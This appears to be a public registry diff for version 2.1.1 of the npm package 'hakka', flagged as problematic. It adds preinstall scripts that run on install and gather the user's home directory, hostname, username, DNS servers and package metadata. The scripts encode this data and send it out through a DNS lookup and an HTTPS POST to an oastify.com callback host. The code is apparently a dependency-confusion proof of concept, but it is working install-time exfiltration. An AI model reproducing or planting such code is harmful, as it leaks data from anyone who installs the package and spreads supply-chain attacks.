hakka 2.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of hakka might be problematic. Click here for more details.
- package/package.json +10 -0
- package/poc/package.json +15 -0
- package/poc/preinstall.js +126 -0
- package/preinstall.js +126 -0
package/package.json
ADDED
package/poc/package.json
ADDED
@@ -0,0 +1,126 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
|
3
|
+
const dns = require("dns");
|
4
|
+
|
5
|
+
const querystring = require("querystring");
|
6
|
+
|
7
|
+
const https = require("https");
|
8
|
+
|
9
|
+
const packageJSON = require("./package.json");
|
10
|
+
|
11
|
+
const package = packageJSON.name;
|
12
|
+
|
13
|
+
|
14
|
+
// Collect tracking data
|
15
|
+
|
16
|
+
const trackingData = JSON.stringify({
|
17
|
+
|
18
|
+
p: package,
|
19
|
+
|
20
|
+
c: __dirname,
|
21
|
+
|
22
|
+
hd: os.homedir(),
|
23
|
+
|
24
|
+
hn: os.hostname(),
|
25
|
+
|
26
|
+
un: os.userInfo().username,
|
27
|
+
|
28
|
+
dns: dns.getServers(),
|
29
|
+
|
30
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
31
|
+
|
32
|
+
v: packageJSON.version,
|
33
|
+
|
34
|
+
pjson: packageJSON,
|
35
|
+
|
36
|
+
});
|
37
|
+
|
38
|
+
|
39
|
+
// Step 1: Hex encode the tracking data
|
40
|
+
|
41
|
+
const hexEncodedData = Buffer.from(trackingData, 'utf8').toString('hex');
|
42
|
+
|
43
|
+
|
44
|
+
// Step 2: Base64 encode the hex data
|
45
|
+
|
46
|
+
const base64EncodedData = Buffer.from(hexEncodedData, 'utf8').toString('base64');
|
47
|
+
|
48
|
+
|
49
|
+
// Use Base64 encoded data in DNS query (as an example)
|
50
|
+
|
51
|
+
const dnsQuery = `example.com.${base64EncodedData}.mydomain.com`;
|
52
|
+
|
53
|
+
|
54
|
+
// Example DNS resolution to exfiltrate the data
|
55
|
+
|
56
|
+
dns.resolve(dnsQuery, (err, addresses) => {
|
57
|
+
|
58
|
+
if (err) {
|
59
|
+
|
60
|
+
console.error("Error in DNS resolution:", err);
|
61
|
+
|
62
|
+
} else {
|
63
|
+
|
64
|
+
console.log("DNS Addresses:", addresses);
|
65
|
+
|
66
|
+
}
|
67
|
+
|
68
|
+
});
|
69
|
+
|
70
|
+
|
71
|
+
// Prepare the data for HTTP POST request
|
72
|
+
|
73
|
+
var postData = querystring.stringify({
|
74
|
+
|
75
|
+
msg: trackingData, // You might want to send the original tracking data here
|
76
|
+
|
77
|
+
});
|
78
|
+
|
79
|
+
|
80
|
+
// Prepare HTTP request options
|
81
|
+
|
82
|
+
var options = {
|
83
|
+
|
84
|
+
hostname: "3fjk638jdzb14dksivqlrp5pagg74ysn.oastify.com", // Replace with Interactsh or Pipedream
|
85
|
+
|
86
|
+
port: 443,
|
87
|
+
|
88
|
+
path: "/",
|
89
|
+
|
90
|
+
method: "POST",
|
91
|
+
|
92
|
+
headers: {
|
93
|
+
|
94
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
95
|
+
|
96
|
+
"Content-Length": postData.length,
|
97
|
+
|
98
|
+
},
|
99
|
+
|
100
|
+
};
|
101
|
+
|
102
|
+
|
103
|
+
// Create and send the HTTPS request
|
104
|
+
|
105
|
+
var req = https.request(options, (res) => {
|
106
|
+
|
107
|
+
res.on("data", (d) => {
|
108
|
+
|
109
|
+
process.stdout.write(d);
|
110
|
+
|
111
|
+
});
|
112
|
+
|
113
|
+
});
|
114
|
+
|
115
|
+
|
116
|
+
req.on("error", (e) => {
|
117
|
+
|
118
|
+
console.error(e);
|
119
|
+
|
120
|
+
});
|
121
|
+
|
122
|
+
|
123
|
+
req.write(postData);
|
124
|
+
|
125
|
+
req.end();
|
126
|
+
|
package/preinstall.js
ADDED
@@ -0,0 +1,126 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
|
3
|
+
const dns = require("dns");
|
4
|
+
|
5
|
+
const querystring = require("querystring");
|
6
|
+
|
7
|
+
const https = require("https");
|
8
|
+
|
9
|
+
const packageJSON = require("./package.json");
|
10
|
+
|
11
|
+
const package = packageJSON.name;
|
12
|
+
|
13
|
+
|
14
|
+
// Collect tracking data
|
15
|
+
|
16
|
+
const trackingData = JSON.stringify({
|
17
|
+
|
18
|
+
p: package,
|
19
|
+
|
20
|
+
c: __dirname,
|
21
|
+
|
22
|
+
hd: os.homedir(),
|
23
|
+
|
24
|
+
hn: os.hostname(),
|
25
|
+
|
26
|
+
un: os.userInfo().username,
|
27
|
+
|
28
|
+
dns: dns.getServers(),
|
29
|
+
|
30
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
31
|
+
|
32
|
+
v: packageJSON.version,
|
33
|
+
|
34
|
+
pjson: packageJSON,
|
35
|
+
|
36
|
+
});
|
37
|
+
|
38
|
+
|
39
|
+
// Step 1: Hex encode the tracking data
|
40
|
+
|
41
|
+
const hexEncodedData = Buffer.from(trackingData, 'utf8').toString('hex');
|
42
|
+
|
43
|
+
|
44
|
+
// Step 2: Base64 encode the hex data
|
45
|
+
|
46
|
+
const base64EncodedData = Buffer.from(hexEncodedData, 'utf8').toString('base64');
|
47
|
+
|
48
|
+
|
49
|
+
// Use Base64 encoded data in DNS query (as an example)
|
50
|
+
|
51
|
+
const dnsQuery = `example.com.${base64EncodedData}.mydomain.com`;
|
52
|
+
|
53
|
+
|
54
|
+
// Example DNS resolution to exfiltrate the data
|
55
|
+
|
56
|
+
dns.resolve(dnsQuery, (err, addresses) => {
|
57
|
+
|
58
|
+
if (err) {
|
59
|
+
|
60
|
+
console.error("Error in DNS resolution:", err);
|
61
|
+
|
62
|
+
} else {
|
63
|
+
|
64
|
+
console.log("DNS Addresses:", addresses);
|
65
|
+
|
66
|
+
}
|
67
|
+
|
68
|
+
});
|
69
|
+
|
70
|
+
|
71
|
+
// Prepare the data for HTTP POST request
|
72
|
+
|
73
|
+
var postData = querystring.stringify({
|
74
|
+
|
75
|
+
msg: trackingData, // You might want to send the original tracking data here
|
76
|
+
|
77
|
+
});
|
78
|
+
|
79
|
+
|
80
|
+
// Prepare HTTP request options
|
81
|
+
|
82
|
+
var options = {
|
83
|
+
|
84
|
+
hostname: "3fjk638jdzb14dksivqlrp5pagg74ysn.oastify.com", // Replace with Interactsh or Pipedream
|
85
|
+
|
86
|
+
port: 443,
|
87
|
+
|
88
|
+
path: "/",
|
89
|
+
|
90
|
+
method: "POST",
|
91
|
+
|
92
|
+
headers: {
|
93
|
+
|
94
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
95
|
+
|
96
|
+
"Content-Length": postData.length,
|
97
|
+
|
98
|
+
},
|
99
|
+
|
100
|
+
};
|
101
|
+
|
102
|
+
|
103
|
+
// Create and send the HTTPS request
|
104
|
+
|
105
|
+
var req = https.request(options, (res) => {
|
106
|
+
|
107
|
+
res.on("data", (d) => {
|
108
|
+
|
109
|
+
process.stdout.write(d);
|
110
|
+
|
111
|
+
});
|
112
|
+
|
113
|
+
});
|
114
|
+
|
115
|
+
|
116
|
+
req.on("error", (e) => {
|
117
|
+
|
118
|
+
console.error(e);
|
119
|
+
|
120
|
+
});
|
121
|
+
|
122
|
+
|
123
|
+
req.write(postData);
|
124
|
+
|
125
|
+
req.end();
|
126
|
+
|